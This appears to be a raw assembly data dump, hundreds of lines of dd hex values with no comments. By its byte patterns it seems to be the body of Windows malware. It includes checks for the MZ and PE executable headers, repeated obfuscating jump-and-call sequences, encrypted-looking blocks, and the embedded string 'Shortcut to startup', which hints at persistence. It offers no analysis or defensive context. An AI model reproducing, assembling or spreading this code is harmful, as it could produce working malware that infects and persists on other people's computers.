dd 4245C89h, 4244481h, 17h, 9EC35343h, 0F2F22A2h, 958BD9BFh
dd 60331D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 28C35646h, 0B94DBB41h, 11E960h, 1D650000h, 5A168880h
dd 8E87E0C5h, 99C87868h, 0F2EFB45h, 382h, 0FE8B6600h, 8BDF8B61h
dd 301E18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0FA8BB311h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 5E85818h, 1B000000h, 6CEBBDE0h
dd 24B1BD29h, 8B5F0603h, 31BA5BDh, 65BD8306h, 6031Dh, 6E840Fh
dd 0B80000h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0D80DC357h, 4D1C8D8Dh
dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 5BFDE1C3h, 0E1FFDD64h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 1CC35141h, 0BD31BE29h, 6032A69h
dd 21BDBD83h, 0F000603h, 3F384h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BDBD8384h
dd 1060321h, 3E5840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0F83E66C3h, 9DD1BF80h
dd 0BD837675h, 60321BDh, 7E860F03h, 6A000003h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 603BC357h, 0F781DDB3h, 44FA2F6Eh, 8BD98C66h, 320EDBDh
dd 4E18006h, 54F78166h, 0FC90A4Eh, 11284h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 60608F21h, 8A0Fh, 0BD890000h, 6031B35h, 61CB8A61h, 13C1858Bh
dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0AD5DF1C3h, 9A42E3C0h, 8E8h, 6E52CD00h, 47DD9002h
dd 6800FDCh, 89000000h, 324B9BDh, 85335B06h, 6031C79h
dd 0F50DA8Ah, 288h, 89D98B00h, 95892404h, 6033071h, 0BD89006Ah
dd 6032945h, 24759589h, 4E80603h, 0FF000000h, 0E8001F03h
dd 0Dh, 1FB27A69h, 5923E2E8h, 0FD1F6DC5h, 0DA8B6639h, 8B0F505Fh
dd 0
dd 424448Bh, 10E8h, 3A56A300h, 1A9EDFB2h, 0AB8FBE26h, 15CD7CA9h
dd 8B665765h, 8B5F5FF8h, 0DE8B6600h, 4244489h, 523CBB66h
dd 0C0CF8158h, 0FF77C71Ah, 3140595h, 34858906h, 0E90606A7h
dd 1C1h, 0FFBBF0Fh, 683h, 6D9D8B00h, 8B060326h, 6A72C85h
dd 1D8DBF06h, 0C774C7h, 18h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0DEC35040h, 6099C157h, 0B319D8Bh
dd 8B660603h, 0B58961FBh, 60330EDh, 0A730B58Bh, 6A0606h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0CACCC1C3h, 858BBA78h, 603128Dh, 13718D29h, 6890603h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 12C35040h
dd 0C1858BF8h, 6A060313h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0DEFBC353h, 7D2A0D75h
dd 7094B5C4h, 0FA6DF80h, 0C87h, 6850F00h, 0F000000h, 8Dh
dd 4468900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 87C35343h, 8B3591FDh, 605096FAh, 60DE8B60h, 96616161h
dd 0FFD88B66h, 6A72CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0CBAA622Eh, 0E88CC636h
dd 5, 0EA63B6B1h, 685BF8B9h, 29572114h, 741EF8BFh, 2434813Ch
dd 294822EBh, 0A734858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 1CE6F5C3h, 2B8A74BBh
dd 50609040h, 42BA6652h, 60310F6Ch, 61585A61h, 90F88B50h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8AC35545h
dd 2D79BD8Bh, 95FF0603h, 6031405h, 60DB8166h, 0BF66617Ch
dd 8E0F449Ah, 8, 3DB58953h, 5F060310h, 21BD85C7h, 30603h
dd 8B0F0000h, 18h, 13E9h, 4C1C5F00h, 0B010A805h, 0E4F51CB6h
dd 0B76CF2B1h, 0DDED8028h, 0A734BD83h, 0F000606h, 3484h
dd 0DE8B6600h, 47E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 22AA4322h, 8B6053A7h
dd 8E0FF0h, 61000000h, 0C30505Fh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0B1C35242h, 0BD835FB7h, 60321BDh, 33850F03h
dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 0FAD5C352h, 34BD8345h, 606A7h
dd 408840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 6CFB93C3h, 34B5FFF5h, 890606A7h
dd 326F595h, 595FF06h, 8906032Eh, 30BEDBDh, 28B58B06h
dd 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0ACCFC353h, 106C7E5h, 89000100h
dd 324319Dh, 0BB669606h, 0E950EE98h, 0Bh, 68EC6B3Bh, 5E9FE156h
dd 96573523h, 7E9h, 53FB3800h, 0CBF1F417h, 0A734B5FFh
dd 95FF0606h, 6032F19h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0CEC35141h, 7310E141h, 153067C6h, 2DF38166h
dd 28B58B2Ch, 6A0606A7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 7120C355h, 96E8136Dh
dd 0C604E381h, 8B663FECh, 0C5BD8BFBh, 8B06031Ch, 3311D85h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 1ED4123Bh, 25BC19D3h, 9D8B4954h, 6031381h
dd 0C48689h, 9D890000h, 6032085h, 31D1958Bh, 6A0603h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0EAFA58C3h, 0A1852951h, 5F06031Dh, 15810Fh, 9E80000h
dd 7A000000h, 1F130A2Fh, 0C58FF803h, 0B3D9D8Bh, 835B0603h
dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 1CE73BC3h, 0BD8B7234h, 6030AD9h, 81205089h
dd 3739BCD7h, 0F3858D69h, 6A0606BBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 1ECC356h
dd 310B585h, 0B8868906h, 60000000h, 1171958Bh, 8D090603h
dd 603306Dh, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 206AC355h, 4CB5078h
dd 0DAE57026h, 5E9h, 8BDD6C00h, 0B5FF626Ah, 606A734h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0CE91Dh
dd 0F5F0000h, 0C5ACAF15h, 3D6D0382h, 0C381A004h, 3CF16161h
dd 1CB195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0E8ABC5C3h, 7, 27EF4776h, 66D9B34Ah
dd 90AFD381h, 0AE8505Bh, 4C000000h, 174B70ACh, 0F1CB8BBCh
dd 0DF8B6690h, 2434895Fh, 5E952h, 9C620000h, 5B0BA410h
dd 0A734B5FFh, 0B5090606h, 6030A31h, 24D38166h, 6595FF5Bh
dd 0F060311h, 0BD83D9BFh, 6031795h, 25840F00h, 8B000000h
dd 3229DBDh, 96509606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 8AC35747h, 0A734B5FFh, 0D98B0606h, 66195FFh
dd 0BD8B0603h, 6030179h, 0A734B5FFh, 6A0606h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 8410BCC3h
dd 19FBBB53h, 295F4B33h, 32171B5h, 0E195FF06h, 6A06030Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 1D25C353h, 89F38166h, 8DBD83EEh, 2060321h
dd 88840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 4ADE36C3h, 1C9A1F94h, 0F9505779h
dd 858B5F5Bh, 60301FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 48C35646h, 13F98B7Ah, 0E8F5CDF4h, 0Ch
dd 0BAFA8814h, 54F06D3Ch, 5456D56Ah, 20C58D29h, 0C65F0603h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 85C7F3C3h, 60330B9h, 0
dd 5AF2DF81h, 1DE90CF6h, 8BFFFFF3h, 53006AC1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 89606541h
dd 30AA185h, 0BA06h, 0EA81F00Eh, 0F0000000h, 8914C283h
dd 31C3D95h, 14EA8306h, 32E7858Dh, 64500608h, 35FFh, 89640000h
dd 25h, 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h
dd 1285h, 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h
dd 1000h, 0FFFFD9E9h, 89C88BFFh, 3012185h, 3C400306h, 650B70Fh
dd 12099589h, 508B0603h, 19958950h, 5060301h, 0F8h, 30C508Bh
dd 0B59589D1h, 306032Ch, 95890850h, 603129Dh, 58F64h, 83000000h
dd 13E904C4h, 51000000h, 10244C8Bh, 0B0A981h, 10000000h
dd 33590000h, 0BD83C3C0h, 6032CDDh, 24840F00h, 0C6000000h
dd 32F3985h, 0D2684706h, 0FFD49AA7h, 328C9B5h, 0BC858D06h
dd 0FF060673h, 0FF006AD0h, 458589D0h, 8B06032Dh, 0EA8D8DD3h
dd 89060833h, 32559B5h, 28C0F06h, 0B6000000h, 0D18D8960h
dd 8B060331h, 31FA5B5h, 0E185C706h, 74060301h, 0E900005Bh
dd 8, 9F9D737Dh, 24C1087Ah, 21BD85C7h, 603h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 9D33B1C3h, 60328E1h, 10CDB5FFh, 6A0603h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BDD5BBC3h
dd 0E9D700Eh, 95FFFC10h, 6032691h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0E1C35545h, 5902C13Eh, 6AEB2706h
dd 0B995FF00h, 8B06031Fh, 0C60EEBC0h, 47BAC7CDh, 128D62A3h
dd 0FC4420C6h, 228D8D89h, 6A060835h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0BFE1C355h
dd 0A397B143h, 0D18D89F2h, 0F060331h, 0D8Ah, 9D896000h
dd 6030B75h, 0BEDC04BBh, 85C76104h, 60301E1h, 6A44h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 83C35343h, 0D29258AEh
dd 0E9C1B70Fh, 0Ah, 81403D91h, 853D7404h, 85C7B460h, 60321BDh
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4C35747h
dd 8C6525AFh, 5A07BA87h, 2C0D858Bh, 0B5FF0603h, 60310CDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 18C35646h
dd 0E902214Ch, 0Ah, 0FCB935A5h, 0A34180ACh, 95FFDDF4h
dd 6032691h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0D8C35141h, 12E9h, 9A644200h, 0A934A9B3h, 0B6D0A4F7h
dd 802F507Ch, 6ACE58EAh, 0B995FF00h, 8B06031Fh, 10EEBC0h
dd 0FFD6D1E5h, 5A5AFD06h, 0BAA568B1h, 0BE8DDh, 86FF0000h
dd 630F9D23h, 0BF5C380Dh, 0F9858BD4h, 5B060310h, 0F4F9C281h
dd 0C3813947h, 5E37h, 0B9FE8B66h, 0
dd 0F0B348Bh, 285h, 81585600h, 0FC4FACEEh, 0F681FC30h
dd 1CE167DAh, 13999D01h, 0EE810603h, 56BC542h, 12E9h, 1D9DF900h
dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 89470880h, 8E90B34h
dd 40000000h, 0FF579CB7h, 8B94E8D1h, 320ED95h, 0A6E98106h
dd 0FC3F38F9h, 0F9A2C181h, 95233F38h, 60331BDh, 0A260F981h
dd 850FFFFFh, 0FFFFFF90h, 2BE78166h, 8E89Eh, 0EAEB0000h
dd 0B8C65A11h, 0CA8B5F61h, 0D081665Bh, 0C3815941h, 6305h
dd 188CBAh, 412EB800h, 338B65ADh, 2A79B529h, 0C6810603h
dd 411B0E7Eh, 381858Bh, 0EE810603h, 1F552EDDh, 0A515F681h
dd 8D896E26h, 6032851h, 9E856h, 94FF0000h, 63A8272h, 0E917EDC2h
dd 8, 76F71B15h, 7D653C72h, 81038F58h, 0EEB569EBh, 0FABF0F62h
dd 0B565C381h, 0B70F62EEh, 1EA81FFh, 0F000000h, 1B85h
dd 0C28B6600h, 4EE9h, 8BF9D300h, 7435AE76h, 173C648Ch
dd 0BA10577h, 0C65535E9h, 12E8h, 29EAB300h, 0A92332CCh
dd 0BBCA21C4h, 0A5AA9C3Ch, 0E9287764h, 10h, 54D3EBFAh
dd 8A3FB00Fh, 0B89A43D2h, 644986C5h, 0FF50E95Fh, 0BDBEFFFFh
dd 0CCD9D29h, 0FB3E6BDDh, 0DBE5C6Bh, 0E6372DD7h, 5286A7D8h
dd 0A90C1A5Bh, 0A935A1DBh, 738824D1h, 3733A4C9h, 0C865BEACh
dd 0CE8D6753h, 6F35A7DCh, 7022D25Dh, 28A82ADEh, 2333A268h
dd 0ED6DFC0Bh, 3424BA65h, 8C41A7DEh, 0CE8DF488h, 6F35A7DCh
dd 7022D25Dh, 39A82ADEh, 2333A275h, 476DFC0Bh, 34149265h
dd 0C835CDDEh, 0CD35A430h, 256E87D8h, 57692E83h, 9D7126DCh
dd 0DC35BDDCh, 0AD66E4D8h, 654C3C51h, 2ED101BAh, 0A4882E08h
dd 0E933A4C7h, 7335A452h, 32EC27D8h, 0CCDD6753h, 9435A7D8h
dd 2DE53F03h, 0C2A60C0h, 4CD955E9h, 6F7D07E0h, 702A665Dh
dd 3553F8DEh, 8F35CD00h, 6E35A430h, 0F46E87D8h, 0BF692E83h
dd 0E97126DCh, 0E635BADCh, 0B066E4D8h, 80FA8A1Ch, 6B4A835Dh
dd 0C6C09C1Dh, 50B1A8DCh, 0B235A7DBh, 0CE13F655h, 638824DEh
dd 7333A4C4h, 0B91223D7h, 0DC5FA7D8h, 6E364F8Eh, 6915A7D8h
dd 0EFBCF91Bh, 89B4A3FCh, 0E621A3FCh, 2573A7D8h, 4048E1Bh
dd 0DA36B551h, 6E368A31h, 103519D8h, 44B5A5D8h, 0CD324E16h
dd 9DE7A7D8h, 0F037B487h, 0B4B02A7Ah, 0B633A155h, 6DDDF6D8h
dd 1735A7D8h, 126C6481h, 4C318394h, 0F131839Ch, 3235A7D8h
dd 0B8006489h, 51BE354Dh, 6836B799h, 0BE3A7727h, 9B35A7D0h
dd 0DCB02E88h, 0BD33A4DAh, 0F73A675Dh, 0B935A72Eh, 5DCE10D7h
dd 0EF53F0E0h, 25B0A823h, 1235A7D8h, 0CE147A4Dh, 9EB4C1DEh
dd 7C37A5DCh, 0B937775Ch, 0E4B4C1D8h, 0EB3AC744h, 3735A712h
dd 7365A7B2h, 0CD35A7DBh, 0BEF6FFF8h, 7711E351h, 0BD11E359h
dd 0DC35A7C4h, 78F6F798h, 8641CFF2h, 0A96E64BAh, 4DFE2CBEh
dd 0E9DDA5A0h, 73353E5Dh, 60882CD8h, 0BA33A4C2h, 6E33DF59h
dd 0B0B0A873h, 0F135A7D8h, 0CEDDF1D8h, 0C635A7D8h, 0FA6B6486h
dd 383183ACh, 0C131839Ch, 2835A7D8h, 8708648Eh, 5E88A5A5h
dd 5E1A9E91h, 0E635A231h, 58675FD8h, 0AADD0124h, 3235A7D8h
dd 7EB5725Ch, 4F261AC0h, 215E9E15h, 0EC32C07Bh, 6BBCCC73h
dd 7536AE35h, 3B3AF087h, 0DC35A7D9h, 48DCFD20h, 5D35A7DAh
dd 98DDF5D8h, 0ED35A7D8h, 6F6F6482h, 0F231838Ch, 0AF31839Ch
dd 9E35A7D8h, 11C2648Ah, 373D4E38h, 0DE51A7D8h, 0DE088500h
dd 0E68B9820h, 5073A6D9h, 0BA358665h, 0D1B02ADEh, 433A155h
dd 34DDF2D8h, 0BB35A7D8h, 44686485h, 673183B4h, 6931839Ch
dd 0FC35A7D8h, 77AF648Dh, 0FCA80D2h, 373F4FCCh, 0C26BA7D8h
dd 57FB26F2h, 17441B3Dh, 0D2355559h, 326AE595h, 0DF394A55h
dd 3EE558DEh, 2713E167h, 5BB0FEB9h, 0CCB523D7h, 5B3EA7D8h
dd 75368F71h, 30882CB8h, 0BC33A4F9h, 62842251h, 56CCA1DBh
dd 0FD0D26B9h, 0C237A5E5h, 0E635B45Dh, 92808ED8h, 3833A4FEh
dd 0E153A1A0h, 0EA3ADD87h, 3735A6BDh, 70D26BEh, 0A7B0A8B8h
dd 6F35A7D8h, 7035A25Dh, 0BB4D27DEh, 86B0A830h, 0D135A7D8h
dd 0BE45E8Bh, 15FC26BEh, 0B5B4C1F6h, 0E9F5A7DEh, 7335E35Dh
dd 0B93A4FD8h, 8586A7D8h, 3C43B06Dh, 0ACDF3271h, 0A45F0158h
dd 0CFB0A8DCh, 6D35A7D8h, 61DCFE23h, 0D335A7D9h, 0DFDDF2D8h
dd 4E35A7D8h, 0BE686485h, 1A3183B4h, 0DA31839Ch, 0A335A7D8h
dd 0F5648Dh, 0E3A332Eh, 0DD351923h, 0EBBCD9D9h, 3136ABB1h
dd 16382255h, 7253A1DEh, 36CA446Bh, 9B60A7B2h, 0B935A7DBh
dd 81F6FAF8h, 6A11CB51h, 3311E359h, 9B35A7C0h, 0FAF6F29Dh
dd 0DE456469h, 0FE3AF06Eh, 0B935A7D2h, 0B5A02CB8h, 0E533A4F0h
dd 0F7B0C608h, 9BB123D7h, 0CD5FA7D8h, 0E6364F89h, 2A15A7D8h
dd 0F5BCFE1Bh, 98B4A3FCh, 6E20A3FCh, 6674A7D8h, 12F83B1Bh
dd 0CE37425Dh, 7E8EC1DEh, 9B0D27EEh, 0B91522D7h, 41BCA7D8h
dd 6836B54Dh, 4430DF58h, 9B2522D7h, 1DBFA7D8h, 0E14D2720h
dd 21B1A88Bh, 0DF35A7D8h, 5D537E53h, 613028E0h, 37358E5Dh
dd 0EA8896D8h, 4D33A4C6h, 0E95DA1A0h, 7335BE5Dh, 38535BD8h
dd 0F9CAACA0h, 6E3922D7h, 0DEC0A7D8h, 9B35A7F9h, 0E40C2A51h
dd 0E68DA1DBh, 1535A7D8h, 9A546859h, 0DFB82A53h, 70DCA1DBh
dd 0BC35A7D8h, 983CF24Dh, 0CD341FDEh, 0E1DDA7D8h, 7135A7D8h
dd 0EAD0FC04h, 591CE001h, 6836A659h, 0C3BFF787h, 2411A351h
dd 0C7B12B38h, 0D0861A55h, 0FEB8A1D0h, 0BF3D9C8Ch, 0BA608460h
dd 2FB0A4AFh, 1C33A4C3h, 19DC6617h, 0D9D9DD35h, 0ABB1EBBCh
dd 22553136h, 0A1DE1638h, 446B7253h, 0A7B236CAh, 0F305E983h
dd 6A58A4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0F49EEC3h, 88h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4798F8E6h
dd 0AAC11651h, 0C00B1D28h, 2F840Fh, 89600000h, 31F41B5h
dd 38F0F06h, 66000000h, 8D61F98Bh, 34D1CB5h, 3B806h, 890F0000h
dd 0
dd 8B0FE6FFh, 5, 67CA8166h, 0C4B64093h, 8B66C08Bh, 39BD83F8h
dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h
dd 403h, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h
dd 74000603h, 0B8535017h, 403h, 23918589h, 9D8D0603h, 605AD99h
dd 585BD3FFh, 25853360h, 80060324h, 896158C3h, 33149BDh
dd 0FC08B06h, 0C8Eh, 6830F00h, 8B000000h, 312999Dh, 58206106h
dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h
dd 74010133h, 0AC97C265h, 0C03B4671h, 5236D0Dh, 1EF1B410h
dd 0BE6E0730h, 0E38F67EBh, 0B60D059Bh, 32010335h, 0DAD60159h
dd 32400130h, 6CE35F13h, 363475BAh, 362C45B2h, 32040127h
dd 15C15775h, 3207893Ch, 0A70B0133h, 34430392h, 2EA5BCB0h
dd 3D100730h, 32082DB7h, 65046B33h, 320202DBh, 0F15E2133h
dd 16FC886Ch, 16048037h, 32201537h, 0F1474633h, 3FB588E1h
dd 0DB020228h, 32020099h, 74E78055h, 0EB0B513Fh, 0DA6405BAh
dd 32200138h, 716F9167h, 0A875F9C2h, 1B4606C1h, 3118208Eh
dd 330E5F35h, 547E257Fh, 0D9FEEAB2h, 0DAFF8A6Bh, 3210013Eh
dd 1D98A584h, 0DA9C8273h, 0A2ED3B96h, 0FB488F3h, 69860217h
dd 0B96CC1B0h, 312AD88Eh, 0B9188A35h, 311AB08Eh, 7A8F6735h
dd 63026BCFh, 320102DBh, 0F1D92133h, 160C886Ah, 16648037h
dd 32101D37h, 0F1594033h, 26115339h, 0E6AB9275h, 0F08067DCh
dd 0B3E6118Eh, 3DBF370Ah, 3220D7B7h, 0DBE3B333h, 32080127h
dd 32FD07F0h, 7C7FC536h, 1782BABCh, 0B1B8ABC2h, 4F379EE3h
dd 3D29C0B0h, 321004BFh, 0E4896733h, 0B84BE26h, 0D5870EDAh
dd 0B9010133h, 31A41486h, 30CE0E35h, 0B9200133h, 33518AEDh
dd 0DA590159h, 32040130h, 6BC15813h, 36254DBAh, 36A445B2h
dd 3240012Ah, 4FE35072h, 7AFFA33Eh, 0D5C28064h, 312814D3h
dd 63026BFBh, 320102DBh, 0F1D92133h, 160C886Ah, 16648037h
dd 32101937h, 0F1594033h, 0A39A05B0h, 0B9CCBFE3h, 0F3826357h
dd 67806B36h, 324002DBh, 0F17D2133h, 167C886Eh, 164C8037h
dd 32041937h, 0F1574433h, 8406E71Dh, 328BE85Ah, 75160133h
dd 1E213BBCh, 11A062B7h, 0A2318014h, 3D8F4278h, 320248B6h
dd 738C2833h, 0BF860217h, 310D1DBEh, 62206B35h, 321002DBh
dd 0F1502133h, 1640886Bh, 16468037h, 32011D37h, 0F1D04133h
dd 0D16A3208h, 139E01DFh, 0D39D880Fh, 0BB0E0221h, 31084C8Eh
dd 3201B935h, 0D3FE0133h, 21C99CB8h, 58210730h, 31C85633h
dd 12100133h, 0BB57C26Ch, 0B300254Fh, 29062577h, 75010133h
dd 0BF01C264h, 404B559Ch, 8FADF44Ch, 34183D59h, 0CE28CBEh
dd 46BC073Bh, 10393B0h, 3102A4B6h, 0F34F2A35h, 582003DAh
dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h
dd 0E9830133h, 8BA4F305h, 1D8D89C0h, 0F060329h, 0C38BF6B7h
dd 0AE8h, 2A1F2400h, 0F7279297h, 0E9FC68E2h, 5, 9626C269h
dd 0B5895A4Eh, 603028Dh, 6614C281h, 680000h, 0F000000h
dd 8959F9B7h, 32E1D9Dh, 1134FF06h, 0A099D89h, 0E85B0603h
dd 13h, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh, 0D4A839F8h
dd 0E91BC29Ch, 5, 746B8341h, 0EB815FAAh, 161A5E99h, 10E8h
dd 406D8C00h, 567BABD1h, 8D936AA2h, 0A7332619h, 51858BFFh
dd 5F06032Eh, 6307C381h, 0BD8B185Bh, 6031239h, 9D73EB81h
dd 1C8921EDh, 0D881660Ah, 0E983DFE2h, 0E727BF03h, 29495B7Bh
dd 3119D8Dh, 0A8F98106h, 0FFFFF9Ah, 0FFFF7C85h, 68E0FFFh
dd 8B000000h, 3209D85h, 0D38D8D06h, 6A060840h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 728CC351h, 0DCACF80Ah, 0F93EA5Dh, 983h, 0FFC6000h, 89h
dd 8D896100h, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 52C35545h, 2C1D19h, 31419D09h, 0B70F0603h
dd 0E185C7F9h, 0D4060301h, 8A000073h, 0BD85C7DDh, 60321h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 2DC0C356h, 775196D3h, 13DD8D29h
dd 0B5FF0603h, 6031375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 37C35545h, 0EE856h, 9A950000h, 820DA1Ah
dd 5E0EC3E7h, 8CE6A55Ch, 20FDB58Bh, 3580603h, 31A3995h
dd 9195FF06h, 0BF060326h, 652E2D5Dh, 95FF006Ah, 6031FB9h
dd 2CEBC08Bh, 51B75B66h, 8D437B26h, 2146C2C9h, 50F5F0B4h
dd 68C2638Eh, 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah
dd 3E19201h, 4051C91Ah, 41BF8D8Dh, 0BD8B0608h, 60308B9h
dd 31D18D89h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0D4D36BC3h, 2D8A9059h, 8958FC56h
dd 3139585h, 0D5BD8906h, 0C7060322h, 301E185h, 5BBC06h
dd 12E900h, 150B0000h, 4B8F5ED3h, 591BC754h, 0B1AF10CDh
dd 923D1BABh, 21BD85C7h, 603h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F02684C3h
dd 0B00DCB17h, 159D89ADh, 0F06031Fh, 68Dh, 81BD3300h, 0FF060312h
dd 321ADB5h, 95FFF906h, 6032691h, 6941BF66h, 95FF006Ah
dd 6031FB9h, 6BEBC08Bh, 0FA43F29Eh, 0A77E27A3h, 3302E300h
dd 5DE50543h, 0EFBD7C79h, 8609E39Dh, 0FCB87B85h, 85AC6FBDh
dd 26FF339h, 2D1BBB47h, 60904F8Ch, 18F69FC9h, 8BB39CF3h
dd 0AEC082F0h, 60B7341Fh, 64196BF6h, 31A8ECABh, 0BE54741Dh
dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h, 0CA433FDh
dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0DE5A11EAh, 0D4D4712Ah
dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h
dd 0EF5E265Ah, 339B090Ah, 0FFB44E60h, 0F867A5E4h, 0A09B0EFAh
dd 2024A3BEh, 79672035h, 0FAC1A3BAh, 0D71B2030h, 339B0AEEh
dd 831D2933h, 0C0982633h, 0AEDA19B6h, 0D6157635h, 0AF906402h
dd 8D0DD963h, 839E251Dh, 35982664h, 1F152359h, 4B906472h
dd 971DAB63h, 39E2E71h, 8FB9B3CCh, 14932030h, 6AA1A23Ch
dd 0B0152633h, 9C906472h, 4DAACE63h, 0F6D82633h, 11DFA3BEh
dd 24C8203Bh, 0DCDA67B6h, 0FF677635h, 339B34B6h, 1794E2B0h
dd 45DA67B6h, 23157635h, 55906402h, 0F00DD963h, 3D9E251Dh
dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh
dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh
dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
dd 88152637h, 9C90641Ch, 0EFCABBEh, 9320203Bh, 78000000h
dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh
dd 6084364h, 43838D8Dh, 0CF2B0608h, 8B05E983h, 536CEBC8h
dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0)
dd 1C000000h, 1462C01h, 0E9000000h, 0F5Eh, 8459868h, 0FE5AE906h
dd 7D68FFFBh, 0E9060846h, 0FFFBFE50h, 8484C68h, 0FE46E906h
dd 0A168FFFBh, 0E9060848h, 0FFFBFE3Ch, 8495868h, 0FE32E906h
